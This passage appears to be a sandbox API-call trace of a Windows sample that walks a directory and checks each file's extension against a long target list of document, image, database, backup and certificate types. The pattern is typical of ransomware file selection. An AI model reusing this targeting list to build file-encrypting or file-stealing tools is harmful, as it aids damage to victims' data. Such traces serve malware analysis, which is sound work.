cAlternateFileName="SETUPR~1.DLL")) returned 1 [0082.221] FindNextFileW (in: hFindFile=0x4260610, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0082.221] FindClose (in: hFindFile=0x4260610 | out: hFindFile=0x4260610) returned 1 [0082.222] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x35d0060 | out: hHeap=0x440000) returned 1 [0082.222] FindNextFileW (in: hFindFile=0x459d20, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1033", cAlternateFileName="")) returned 1 [0082.222] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x35d0060 [0082.222] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033") returned 26 [0082.222] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1033\\*", lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260310 [0082.223] FindNextFileW (in: hFindFile=0x4260310, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.223] FindNextFileW (in: hFindFile=0x4260310, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd723cc00, ftCreationTime.dwHighDateTime=0x1cabb47, ftLastAccessTime.dwLowDateTime=0xd723cc00, ftLastAccessTime.dwHighDateTime=0x1cabb47, ftLastWriteTime.dwLowDateTime=0xd723cc00, ftLastWriteTime.dwHighDateTime=0x1cabb47, nFileSizeHigh=0x0, nFileSizeLow=0xc74, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0082.223] lstrlenW (lpString="eula.rtf") returned 8 [0082.223] lstrlenW (lpString=".1cd") returned 4 [0082.223] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0082.223] lstrlenW (lpString=".3ds") returned 4 [0082.223] lstrcmpiW (lpString1=".3ds", lpString2=".rtf") returned -1 [0082.223] lstrlenW (lpString=".3fr") returned 4 [0082.223] lstrcmpiW (lpString1=".3fr", lpString2=".rtf") returned -1 [0082.223] lstrlenW (lpString=".3g2") returned 4 [0082.223] lstrcmpiW (lpString1=".3g2", lpString2=".rtf") returned -1 [0082.223] lstrlenW (lpString=".3gp") returned 4 [0082.223] lstrcmpiW (lpString1=".3gp", lpString2=".rtf") returned -1 [0082.223] lstrlenW (lpString=".7z") returned 3 [0082.223] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0082.223] lstrlenW (lpString=".accda") returned 6 [0082.223] lstrcmpiW (lpString1=".accda", lpString2="la.rtf") returned -1 [0082.223] lstrlenW (lpString=".accdb") returned 6 [0082.223] lstrcmpiW (lpString1=".accdb", lpString2="la.rtf") returned -1 [0082.223] lstrlenW (lpString=".accdc") returned 6 [0082.223] lstrcmpiW (lpString1=".accdc", lpString2="la.rtf") returned -1 [0082.223] lstrlenW (lpString=".accde") returned 6 [0082.223] lstrcmpiW (lpString1=".accde", lpString2="la.rtf") returned -1 [0082.223] lstrlenW (lpString=".accdt") returned 6 [0082.223] lstrcmpiW (lpString1=".accdt", lpString2="la.rtf") returned -1 [0082.224] lstrlenW (lpString=".accdw") returned 6 [0082.224] lstrcmpiW (lpString1=".accdw", lpString2="la.rtf") returned -1 [0082.224] lstrlenW (lpString=".adb") returned 4 [0082.224] lstrcmpiW (lpString1=".adb", lpString2=".rtf") returned -1 [0082.224] lstrlenW (lpString=".adp") returned 4 [0082.224] lstrcmpiW (lpString1=".adp", lpString2=".rtf") returned -1 [0082.224] lstrlenW (lpString=".ai") returned 3 [0082.224] lstrcmpiW (lpString1=".ai", lpString2="rtf") returned -1 [0082.224] lstrlenW (lpString=".ai3") returned 4 [0082.224] lstrcmpiW (lpString1=".ai3", lpString2=".rtf") returned -1 [0082.224] lstrlenW (lpString=".ai4") returned 4 [0082.224] lstrcmpiW (lpString1=".ai4", lpString2=".rtf") returned -1 [0082.224] lstrlenW (lpString=".ai5") returned 4 [0082.224] lstrcmpiW (lpString1=".ai5", lpString2=".rtf") returned -1 [0082.224] lstrlenW (lpString=".ai6") returned 4 [0082.224] lstrcmpiW (lpString1=".ai6", lpString2=".rtf") returned -1 [0082.224] lstrlenW (lpString=".ai7") returned 4 [0082.224] lstrcmpiW (lpString1=".ai7", lpString2=".rtf") returned -1 [0082.224] lstrlenW (lpString=".ai8") returned 4 [0082.224] lstrcmpiW (lpString1=".ai8", lpString2=".rtf") returned -1 [0082.224] lstrlenW (lpString=".anim") returned 5 [0082.224] lstrcmpiW (lpString1=".anim", lpString2="a.rtf") returned -1 [0082.224] lstrlenW (lpString=".arw") returned 4 [0082.224] lstrcmpiW (lpString1=".arw", lpString2=".rtf") returned -1 [0082.224] lstrlenW (lpString=".as") returned 3 [0082.224] lstrcmpiW (lpString1=".as", lpString2="rtf") returned -1 [0082.224] lstrlenW (lpString=".asa") returned 4 [0082.224] lstrcmpiW (lpString1=".asa", lpString2=".rtf") returned -1 [0082.224] lstrlenW (lpString=".asc") returned 4 [0082.224] lstrcmpiW (lpString1=".asc", lpString2=".rtf") returned -1 [0082.225] lstrlenW (lpString=".ascx") returned 5 [0082.225] lstrcmpiW (lpString1=".ascx", lpString2="a.rtf") returned -1 [0082.225] lstrlenW (lpString=".asm") returned 4 [0082.225] lstrcmpiW (lpString1=".asm", lpString2=".rtf") returned -1 [0082.225] lstrlenW (lpString=".asmx") returned 5 [0082.225] lstrcmpiW (lpString1=".asmx", lpString2="a.rtf") returned -1 [0082.225] lstrlenW (lpString=".asp") returned 4 [0082.225] lstrcmpiW (lpString1=".asp", lpString2=".rtf") returned -1 [0082.225] lstrlenW (lpString=".aspx") returned 5 [0082.225] lstrcmpiW (lpString1=".aspx", lpString2="a.rtf") returned -1 [0082.225] lstrlenW (lpString=".asr") returned 4 [0082.225] lstrcmpiW (lpString1=".asr", lpString2=".rtf") returned -1 [0082.225] lstrlenW (lpString=".asx") returned 4 [0082.225] lstrcmpiW (lpString1=".asx", lpString2=".rtf") returned -1 [0082.225] lstrlenW (lpString=".avi") returned 4 [0082.225] lstrcmpiW (lpString1=".avi", lpString2=".rtf") returned -1 [0082.225] lstrlenW (lpString=".avs") returned 4 [0082.225] lstrcmpiW (lpString1=".avs", lpString2=".rtf") returned -1 [0082.225] lstrlenW (lpString=".backup") returned 7 [0082.225] lstrcmpiW (lpString1=".backup", lpString2="ula.rtf") returned -1 [0082.225] lstrlenW (lpString=".bak") returned 4 [0082.225] lstrcmpiW (lpString1=".bak", lpString2=".rtf") returned -1 [0082.225] lstrlenW (lpString=".bay") returned 4 [0082.225] lstrcmpiW (lpString1=".bay", lpString2=".rtf") returned -1 [0082.225] lstrlenW (lpString=".bd") returned 3 [0082.225] lstrcmpiW (lpString1=".bd", lpString2="rtf") returned -1 [0082.225] lstrlenW (lpString=".bin") returned 4 [0082.226] lstrcmpiW (lpString1=".bin", lpString2=".rtf") returned -1 [0082.226] lstrlenW (lpString=".bmp") returned 4 [0082.226] lstrcmpiW (lpString1=".bmp", lpString2=".rtf") returned -1 [0082.226] lstrlenW (lpString=".bz2") returned 4 [0082.226] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0082.226] lstrlenW (lpString=".c") returned 2 [0082.226] lstrcmpiW (lpString1=".c", lpString2="tf") returned -1 [0082.226] lstrlenW (lpString=".cdr") returned 4 [0082.226] lstrcmpiW (lpString1=".cdr", lpString2=".rtf") returned -1 [0082.226] lstrlenW (lpString=".cer") returned 4 [0082.226] lstrcmpiW (lpString1=".cer", lpString2=".rtf") returned -1 [0082.226] lstrlenW (lpString=".cf") returned 3 [0082.226] lstrcmpiW (lpString1=".cf", lpString2="rtf") returned -1 [0082.226] lstrlenW (lpString=".cfc") returned 4 [0082.226] lstrcmpiW (lpString1=".cfc", lpString2=".rtf") returned -1 [0082.226] lstrlenW (lpString=".cfm") returned 4 [0082.226] lstrcmpiW (lpString1=".cfm", lpString2=".rtf") returned -1 [0082.226] lstrlenW (lpString=".cfml") returned 5 [0082.226] lstrcmpiW (lpString1=".cfml", lpString2="a.rtf") returned -1 [0082.226] lstrlenW (lpString=".cfu") returned 4 [0082.226] lstrcmpiW (lpString1=".cfu", lpString2=".rtf") returned -1 [0082.226] lstrlenW (lpString=".chm") returned 4 [0082.226] lstrcmpiW (lpString1=".chm", lpString2=".rtf") returned -1 [0082.226] lstrlenW (lpString=".cin") returned 4 [0082.226] lstrcmpiW (lpString1=".cin", lpString2=".rtf") returned -1 [0082.226] lstrlenW (lpString=".class") returned 6 [0082.226] lstrcmpiW (lpString1=".class", lpString2="la.rtf") returned -1 [0082.226] lstrlenW (lpString=".clx") returned 4 [0082.226] lstrcmpiW (lpString1=".clx", lpString2=".rtf") returned -1 [0082.226] lstrlenW (lpString=".config") returned 7 [0082.226] lstrcmpiW (lpString1=".config", lpString2="ula.rtf") returned -1 [0082.227] lstrlenW (lpString=".cpp") returned 4 [0082.227] lstrcmpiW (lpString1=".cpp", lpString2=".rtf") returned -1 [0082.227] lstrlenW (lpString=".cr2") returned 4 [0082.227] lstrcmpiW (lpString1=".cr2", lpString2=".rtf") returned -1 [0082.227] lstrlenW (lpString=".crt") returned 4 [0082.227] lstrcmpiW (lpString1=".crt", lpString2=".rtf") returned -1 [0082.227] lstrlenW (lpString=".crw") returned 4 [0082.227] lstrcmpiW (lpString1=".crw", lpString2=".rtf") returned -1 [0082.227] lstrlenW (lpString=".cs") returned 3 [0082.227] lstrcmpiW (lpString1=".cs", lpString2="rtf") returned -1 [0082.227] lstrlenW (lpString=".css") returned 4 [0082.227] lstrcmpiW (lpString1=".css", lpString2=".rtf") returned -1 [0082.227] lstrlenW (lpString=".csv") returned 4 [0082.227] lstrcmpiW (lpString1=".csv", lpString2=".rtf") returned -1 [0082.227] lstrlenW (lpString=".cub") returned 4 [0082.227] lstrcmpiW (lpString1=".cub", lpString2=".rtf") returned -1 [0082.227] lstrlenW (lpString=".dae") returned 4 [0082.227] lstrcmpiW (lpString1=".dae", lpString2=".rtf") returned -1 [0082.227] lstrlenW (lpString=".dat") returned 4 [0082.227] lstrcmpiW (lpString1=".dat", lpString2=".rtf") returned -1 [0082.227] lstrlenW (lpString=".db") returned 3 [0082.227] lstrcmpiW (lpString1=".db", lpString2="rtf") returned -1 [0082.227] lstrlenW (lpString=".dbf") returned 4 [0082.227] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0082.227] lstrlenW (lpString=".dbx") returned 4 [0082.227] lstrcmpiW (lpString1=".dbx", lpString2=".rtf") returned -1 [0082.227] lstrlenW (lpString=".dc3") returned 4 [0082.227] lstrcmpiW (lpString1=".dc3", lpString2=".rtf") returned -1 [0082.227] lstrlenW (lpString=".dcm") returned 4 [0082.227] lstrcmpiW (lpString1=".dcm", lpString2=".rtf") returned -1 [0082.227] lstrlenW (lpString=".dcr") returned 4 [0082.227] lstrcmpiW (lpString1=".dcr", lpString2=".rtf") returned -1 [0082.227] lstrlenW (lpString=".der") returned 4 [0082.228] lstrcmpiW (lpString1=".der", lpString2=".rtf") returned -1 [0082.228] lstrlenW (lpString=".dib") returned 4 [0082.228] lstrcmpiW (lpString1=".dib", lpString2=".rtf") returned -1 [0082.228] lstrlenW (lpString=".dic") returned 4 [0082.228] lstrcmpiW (lpString1=".dic", lpString2=".rtf") returned -1 [0082.228] lstrlenW (lpString=".dif") returned 4 [0082.228] lstrcmpiW (lpString1=".dif", lpString2=".rtf") returned -1 [0082.228] lstrlenW (lpString=".divx") returned 5 [0082.228] lstrcmpiW (lpString1=".divx", lpString2="a.rtf") returned -1 [0082.228] lstrlenW (lpString=".djvu") returned 5 [0082.228] lstrcmpiW (lpString1=".djvu", lpString2="a.rtf") returned -1 [0082.228] lstrlenW (lpString=".dng") returned 4 [0082.228] lstrcmpiW (lpString1=".dng", lpString2=".rtf") returned -1 [0082.228] lstrlenW (lpString=".doc") returned 4 [0082.228] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0082.228] lstrlenW (lpString=".docm") returned 5 [0082.228] lstrcmpiW (lpString1=".docm", lpString2="a.rtf") returned -1 [0082.228] lstrlenW (lpString=".docx") returned 5 [0082.228] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0082.228] lstrlenW (lpString=".dot") returned 4 [0082.228] lstrcmpiW (lpString1=".dot", lpString2=".rtf") returned -1 [0082.228] lstrlenW (lpString=".dotm") returned 5 [0082.228] lstrcmpiW (lpString1=".dotm", lpString2="a.rtf") returned -1 [0082.228] lstrlenW (lpString=".dotx") returned 5 [0082.228] lstrcmpiW (lpString1=".dotx", lpString2="a.rtf") returned -1 [0082.228] lstrlenW (lpString=".dpx") returned 4 [0082.228] lstrcmpiW (lpString1=".dpx", lpString2=".rtf") returned -1 [0082.229] lstrlenW (lpString=".dqy") returned 4 [0082.229] lstrcmpiW (lpString1=".dqy", lpString2=".rtf") returned -1 [0082.229] lstrlenW (lpString=".dsn") returned 4 [0082.229] lstrcmpiW (lpString1=".dsn", lpString2=".rtf") returned -1 [0082.229] lstrlenW (lpString=".dt") returned 3 [0082.229] lstrcmpiW (lpString1=".dt", lpString2="rtf") returned -1 [0082.229] lstrlenW (lpString=".dtd") returned 4 [0082.229] lstrcmpiW (lpString1=".dtd", lpString2=".rtf") returned -1 [0082.229] lstrlenW (lpString=".dwg") returned 4 [0082.229] lstrcmpiW (lpString1=".dwg", lpString2=".rtf") returned -1 [0082.229] lstrlenW (lpString=".dwt") returned 4 [0082.229] lstrcmpiW (lpString1=".dwt", lpString2=".rtf") returned -1 [0082.229] lstrlenW (lpString=".dx") returned 3 [0082.229] lstrcmpiW (lpString1=".dx", lpString2="rtf") returned -1 [0082.229] lstrlenW (lpString=".dxf") returned 4 [0082.229] lstrcmpiW (lpString1=".dxf", lpString2=".rtf") returned -1 [0082.229] lstrlenW (lpString=".edml") returned 5 [0082.229] lstrcmpiW (lpString1=".edml", lpString2="a.rtf") returned -1 [0082.229] lstrlenW (lpString=".efd") returned 4 [0082.229] lstrcmpiW (lpString1=".efd", lpString2=".rtf") returned -1 [0082.229] lstrlenW (lpString=".elf") returned 4 [0082.229] lstrcmpiW (lpString1=".elf", lpString2=".rtf") returned -1 [0082.229] lstrlenW (lpString=".emf") returned 4 [0082.229] lstrcmpiW (lpString1=".emf", lpString2=".rtf") returned -1 [0082.229] lstrlenW (lpString=".emz") returned 4 [0082.229] lstrcmpiW (lpString1=".emz", lpString2=".rtf") returned -1 [0082.229] lstrlenW (lpString=".epf") returned 4 [0082.230] lstrcmpiW (lpString1=".epf", lpString2=".rtf") returned -1 [0082.230] lstrlenW (lpString=".eps") returned 4 [0082.230] lstrcmpiW (lpString1=".eps", lpString2=".rtf") returned -1 [0082.230] lstrlenW (lpString=".epsf") returned 5 [0082.230] lstrcmpiW (lpString1=".epsf", lpString2="a.rtf") returned -1 [0082.230] lstrlenW (lpString=".epsp") returned 5 [0082.230] lstrcmpiW (lpString1=".epsp", lpString2="a.rtf") returned -1 [0082.230] lstrlenW (lpString=".erf") returned 4 [0082.230] lstrcmpiW (lpString1=".erf", lpString2=".rtf") returned -1 [0082.230] lstrlenW (lpString=".exr") returned 4 [0082.230] lstrcmpiW (lpString1=".exr", lpString2=".rtf") returned -1 [0082.230] lstrlenW (lpString=".f4v") returned 4 [0082.230] lstrcmpiW (lpString1=".f4v", lpString2=".rtf") returned -1 [0082.230] lstrlenW (lpString=".fido") returned 5 [0082.230] lstrcmpiW (lpString1=".fido", lpString2="a.rtf") returned -1 [0082.230] lstrlenW (lpString=".flm") returned 4 [0082.230] lstrcmpiW (lpString1=".flm", lpString2=".rtf") returned -1 [0082.230] lstrlenW (lpString=".flv") returned 4 [0082.230] lstrcmpiW (lpString1=".flv", lpString2=".rtf") returned -1 [0082.230] lstrlenW (lpString=".frm") returned 4 [0082.230] lstrcmpiW (lpString1=".frm", lpString2=".rtf") returned -1 [0082.230] lstrlenW (lpString=".fxg") returned 4 [0082.230] lstrcmpiW (lpString1=".fxg", lpString2=".rtf") returned -1 [0082.230] lstrlenW (lpString=".geo") returned 4 [0082.230] lstrcmpiW (lpString1=".geo", lpString2=".rtf") returned -1 [0082.230] lstrlenW (lpString=".gif") returned 4 [0082.230] lstrcmpiW (lpString1=".gif", lpString2=".rtf") returned -1 [0082.231] lstrlenW (lpString=".grs") returned 4 [0082.231] lstrcmpiW (lpString1=".grs", lpString2=".rtf") returned -1 [0082.231] lstrlenW (lpString=".gz") returned 3 [0082.231] lstrcmpiW (lpString1=".gz", lpString2="rtf") returned -1 [0082.231] lstrlenW (lpString=".h") returned 2 [0082.231] lstrcmpiW (lpString1=".h", lpString2="tf") returned -1 [0082.231] lstrlenW (lpString=".hdr") returned 4 [0082.231] lstrcmpiW (lpString1=".hdr", lpString2=".rtf") returned -1 [0082.231] lstrlenW (lpString=".hpp") returned 4 [0082.231] lstrcmpiW (lpString1=".hpp", lpString2=".rtf") returned -1 [0082.231] lstrlenW (lpString=".hta") returned 4 [0082.231] lstrcmpiW (lpString1=".hta", lpString2=".rtf") returned -1 [0082.231] lstrlenW (lpString=".htc") returned 4 [0082.231] lstrcmpiW (lpString1=".htc", lpString2=".rtf") returned -1 [0082.231] lstrlenW (lpString=".htm") returned 4 [0082.231] lstrcmpiW (lpString1=".htm", lpString2=".rtf") returned -1 [0082.231] lstrlenW (lpString=".html") returned 5 [0082.231] lstrcmpiW (lpString1=".html", lpString2="a.rtf") returned -1 [0082.231] lstrlenW (lpString=".icb") returned 4 [0082.231] lstrcmpiW (lpString1=".icb", lpString2=".rtf") returned -1 [0082.231] lstrlenW (lpString=".ics") returned 4 [0082.231] lstrcmpiW (lpString1=".ics", lpString2=".rtf") returned -1 [0082.231] lstrlenW (lpString=".iff") returned 4 [0082.231] lstrcmpiW (lpString1=".iff", lpString2=".rtf") returned -1 [0082.231] lstrlenW (lpString=".inc") returned 4 [0082.231] lstrcmpiW (lpString1=".inc", lpString2=".rtf") returned -1 [0082.232] lstrlenW (lpString=".indd") returned 5 [0082.232] lstrcmpiW (lpString1=".indd", lpString2="a.rtf") returned -1 [0082.232] lstrlenW (lpString=".ini") returned 4 [0082.232] lstrcmpiW (lpString1=".ini", lpString2=".rtf") returned -1 [0082.232] lstrlenW (lpString=".iqy") returned 4 [0082.232] lstrcmpiW (lpString1=".iqy", lpString2=".rtf") returned -1 [0082.232] lstrlenW (lpString=".j2c") returned 4 [0082.232] lstrcmpiW (lpString1=".j2c", lpString2=".rtf") returned -1 [0082.232] lstrlenW (lpString=".j2k") returned 4 [0082.232] lstrcmpiW (lpString1=".j2k", lpString2=".rtf") returned -1 [0082.232] lstrlenW (lpString=".java") returned 5 [0082.232] lstrcmpiW (lpString1=".java", lpString2="a.rtf") returned -1 [0082.232] lstrlenW (lpString=".jp2") returned 4 [0082.232] lstrcmpiW (lpString1=".jp2", lpString2=".rtf") returned -1 [0082.232] lstrlenW (lpString=".jpc") returned 4 [0082.233] lstrcmpiW (lpString1=".jpc", lpString2=".rtf") returned -1 [0082.233] lstrlenW (lpString=".jpe") returned 4 [0082.233] lstrcmpiW (lpString1=".jpe", lpString2=".rtf") returned -1 [0082.233] lstrlenW (lpString=".jpeg") returned 5 [0082.233] lstrcmpiW (lpString1=".jpeg", lpString2="a.rtf") returned -1 [0082.233] lstrlenW (lpString=".jpf") returned 4 [0082.233] lstrcmpiW (lpString1=".jpf", lpString2=".rtf") returned -1 [0082.233] lstrlenW (lpString=".jpg") returned 4 [0082.233] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0082.233] lstrlenW (lpString=".jpx") returned 4 [0082.233] lstrcmpiW (lpString1=".jpx", lpString2=".rtf") returned -1 [0082.233] lstrlenW (lpString=".js") returned 3 [0082.233] lstrcmpiW (lpString1=".js", lpString2="rtf") returned -1 [0082.233] lstrlenW (lpString=".jsf") returned 4 [0082.233] lstrcmpiW (lpString1=".jsf", lpString2=".rtf") returned -1 [0082.233] lstrlenW (lpString=".json") returned 5 [0082.233] lstrcmpiW (lpString1=".json", lpString2="a.rtf") returned -1 [0082.233] lstrlenW (lpString=".jsp") returned 4 [0082.233] lstrcmpiW (lpString1=".jsp", lpString2=".rtf") returned -1 [0082.233] lstrlenW (lpString=".kdc") returned 4 [0082.233] lstrcmpiW (lpString1=".kdc", lpString2=".rtf") returned -1 [0082.233] lstrlenW (lpString=".kmz") returned 4 [0082.233] lstrcmpiW (lpString1=".kmz", lpString2=".rtf") returned -1 [0082.233] lstrlenW (lpString=".kwm") returned 4 [0082.233] lstrcmpiW (lpString1=".kwm", lpString2=".rtf") returned -1 [0082.233] lstrlenW (lpString=".lasso") returned 6 [0082.233] lstrcmpiW (lpString1=".lasso", lpString2="la.rtf") returned -1 [0082.233] lstrlenW (lpString=".lbi") returned 4 [0082.233] lstrcmpiW (lpString1=".lbi", lpString2=".rtf") returned -1 [0082.233] lstrlenW (lpString=".lgf") returned 4 [0082.233] lstrcmpiW (lpString1=".lgf", lpString2=".rtf") returned -1 [0082.233] lstrlenW (lpString=".lgp") returned 4 [0082.233] lstrcmpiW (lpString1=".lgp", lpString2=".rtf") returned -1 [0082.233] lstrlenW (lpString=".log") returned 4 [0082.234] lstrcmpiW (lpString1=".log", lpString2=".rtf") returned -1 [0082.234] lstrlenW (lpString=".m1v") returned 4 [0082.234] lstrcmpiW (lpString1=".m1v", lpString2=".rtf") returned -1 [0082.234] lstrlenW (lpString=".m4a") returned 4 [0082.234] lstrcmpiW (lpString1=".m4a", lpString2=".rtf") returned -1 [0082.234] lstrlenW (lpString=".m4v") returned 4 [0082.234] lstrcmpiW (lpString1=".m4v", lpString2=".rtf") returned -1 [0082.234] lstrlenW (lpString=".max") returned 4 [0082.234] lstrcmpiW (lpString1=".max", lpString2=".rtf") returned -1 [0082.234] lstrlenW (lpString=".md") returned 3 [0082.234] lstrcmpiW (lpString1=".md", lpString2="rtf") returned -1 [0082.234] lstrlenW (lpString=".mda") returned 4 [0082.234] lstrcmpiW (lpString1=".mda", lpString2=".rtf") returned -1 [0082.234] lstrlenW (lpString=".mdb") returned 4 [0082.234] lstrcmpiW (lpString1=".mdb", lpString2=".rtf") returned -1 [0082.234] lstrlenW (lpString=".mde") returned 4 [0082.234] lstrcmpiW (lpString1=".mde", lpString2=".rtf") returned -1 [0082.234] lstrlenW (lpString=".mdf") returned 4 [0082.234] lstrcmpiW (lpString1=".mdf", lpString2=".rtf") returned -1 [0082.234] lstrlenW (lpString=".mdw") returned 4 [0082.234] lstrcmpiW (lpString1=".mdw", lpString2=".rtf") returned -1 [0082.234] lstrlenW (lpString=".mef") returned 4 [0082.234] lstrcmpiW (lpString1=".mef", lpString2=".rtf") returned -1 [0082.234] lstrlenW (lpString=".mft") returned 4 [0082.234] lstrcmpiW (lpString1=".mft", lpString2=".rtf") returned -1 [0082.234] lstrlenW (lpString=".mfw") returned 4 [0082.234] lstrcmpiW (lpString1=".mfw", lpString2=".rtf") returned -1 [0082.234] lstrlenW (lpString=".mht") returned 4 [0082.234] lstrcmpiW (lpString1=".mht", lpString2=".rtf") returned -1 [0082.234] lstrlenW (lpString=".mhtml") returned 6 [0082.234] lstrcmpiW (lpString1=".mhtml", lpString2="la.rtf") returned -1 [0082.234] lstrlenW (lpString=".mka") returned 4 [0082.234] lstrcmpiW (lpString1=".mka", lpString2=".rtf") returned -1 [0082.235] lstrlenW (lpString=".mkidx") returned 6 [0082.235] lstrcmpiW (lpString1=".mkidx", lpString2="la.rtf") returned -1 [0082.235] lstrlenW (lpString=".mkv") returned 4 [0082.235] lstrcmpiW (lpString1=".mkv", lpString2=".rtf") returned -1 [0082.235] lstrlenW (lpString=".mos") returned 4 [0082.235] lstrcmpiW (lpString1=".mos", lpString2=".rtf") returned -1 [0082.235] lstrlenW (lpString=".mov") returned 4 [0082.235] lstrcmpiW (lpString1=".mov", lpString2=".rtf") returned -1 [0082.235] lstrlenW (lpString=".mp3") returned 4 [0082.235] lstrcmpiW (lpString1=".mp3", lpString2=".rtf") returned -1 [0082.235] lstrlenW (lpString=".mp4") returned 4 [0082.235] lstrcmpiW (lpString1=".mp4", lpString2=".rtf") returned -1 [0082.235] lstrlenW (lpString=".mpeg") returned 5 [0082.235] lstrcmpiW (lpString1=".mpeg", lpString2="a.rtf") returned -1 [0082.235] lstrlenW (lpString=".mpg") returned 4 [0082.235] lstrcmpiW (lpString1=".mpg", lpString2=".rtf") returned -1 [0082.235] lstrlenW (lpString=".mpv") returned 4 [0082.235] lstrcmpiW (lpString1=".mpv", lpString2=".rtf") returned -1 [0082.235] lstrlenW (lpString=".mrw") returned 4 [0082.235] lstrcmpiW (lpString1=".mrw", lpString2=".rtf") returned -1 [0082.235] lstrlenW (lpString=".msg") returned 4 [0082.235] lstrcmpiW (lpString1=".msg", lpString2=".rtf") returned -1 [0082.235] lstrlenW (lpString=".mxl") returned 4 [0082.235] lstrcmpiW (lpString1=".mxl", lpString2=".rtf") returned -1 [0082.235] lstrlenW (lpString=".myd") returned 4 [0082.235] lstrcmpiW (lpString1=".myd", lpString2=".rtf") returned -1 [0082.236] lstrlenW (lpString=".myi") returned 4 [0082.236] lstrcmpiW (lpString1=".myi", lpString2=".rtf") returned -1 [0082.236] lstrlenW (lpString=".nef") returned 4 [0082.236] lstrcmpiW (lpString1=".nef", lpString2=".rtf") returned -1 [0082.236] lstrlenW (lpString=".nrw") returned 4 [0082.236] lstrcmpiW (lpString1=".nrw", lpString2=".rtf") returned -1 [0082.236] lstrlenW (lpString=".obj") returned 4 [0082.236] lstrcmpiW (lpString1=".obj", lpString2=".rtf") returned -1 [0082.236] lstrlenW (lpString=".odb") returned 4 [0082.236] lstrcmpiW (lpString1=".odb", lpString2=".rtf") returned -1 [0082.236] lstrlenW (lpString=".odc") returned 4 [0082.236] lstrcmpiW (lpString1=".odc", lpString2=".rtf") returned -1 [0082.236] lstrlenW (lpString=".odm") returned 4 [0082.236] lstrcmpiW (lpString1=".odm", lpString2=".rtf") returned -1 [0082.236] lstrlenW (lpString=".odp") returned 4 [0082.236] lstrcmpiW (lpString1=".odp", lpString2=".rtf") returned -1 [0082.236] lstrlenW (lpString=".ods") returned 4 [0082.236] lstrcmpiW (lpString1=".ods", lpString2=".rtf") returned -1 [0082.236] lstrlenW (lpString=".oft") returned 4 [0082.236] lstrcmpiW (lpString1=".oft", lpString2=".rtf") returned -1 [0082.236] lstrlenW (lpString=".one") returned 4 [0082.236] lstrcmpiW (lpString1=".one", lpString2=".rtf") returned -1 [0082.236] lstrlenW (lpString=".onepkg") returned 7 [0082.236] lstrcmpiW (lpString1=".onepkg", lpString2="ula.rtf") returned -1 [0082.236] lstrlenW (lpString=".onetoc2") returned 8 [0082.236] lstrcmpiW (lpString1=".onetoc2", lpString2="eula.rtf") returned -1 [0082.236] lstrlenW (lpString=".opt") returned 4 [0082.237] lstrcmpiW (lpString1=".opt", lpString2=".rtf") returned -1 [0082.237] lstrlenW (lpString=".oqy") returned 4 [0082.237] lstrcmpiW (lpString1=".oqy", lpString2=".rtf") returned -1 [0082.237] lstrlenW (lpString=".orf") returned 4 [0082.237] lstrcmpiW (lpString1=".orf", lpString2=".rtf") returned -1 [0082.237] lstrlenW (lpString=".p12") returned 4 [0082.237] lstrcmpiW (lpString1=".p12", lpString2=".rtf") returned -1 [0082.237] lstrlenW (lpString=".p7b") returned 4 [0082.237] lstrcmpiW (lpString1=".p7b", lpString2=".rtf") returned -1 [0082.237] lstrlenW (lpString=".p7c") returned 4 [0082.237] lstrcmpiW (lpString1=".p7c", lpString2=".rtf") returned -1 [0082.237] lstrlenW (lpString=".pam") returned 4 [0082.237] lstrcmpiW (lpString1=".pam", lpString2=".rtf") returned -1 [0082.237] lstrlenW (lpString=".pbm") returned 